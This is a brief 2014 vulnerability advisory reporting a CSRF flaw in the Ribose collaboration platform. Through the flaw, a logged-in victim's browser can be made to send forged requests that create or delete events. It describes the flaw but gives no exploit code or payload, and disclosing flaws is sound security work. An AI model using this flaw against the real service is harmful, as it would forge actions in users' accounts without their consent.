                                            Vulnerability: CSRF Attack on Ribose Online Social Collaboration Platform
Date: 13/08/2014
Author: JoeV
Vendor: www.ribose.com
Tested on: Windows 7
Description: A CSRF attack forces a logged-on victim’s browser to send a
forged HTTP request, including the victim’s session cookie and any other
automatically included authentication information. This allows the attacker
to force the victim’s browser to generate requests the vulnerable
application thinks are legitimate requests from the victim. It was observed
that the vulnerability allows an adversary to create/delete events by CSRF
vulnerability.
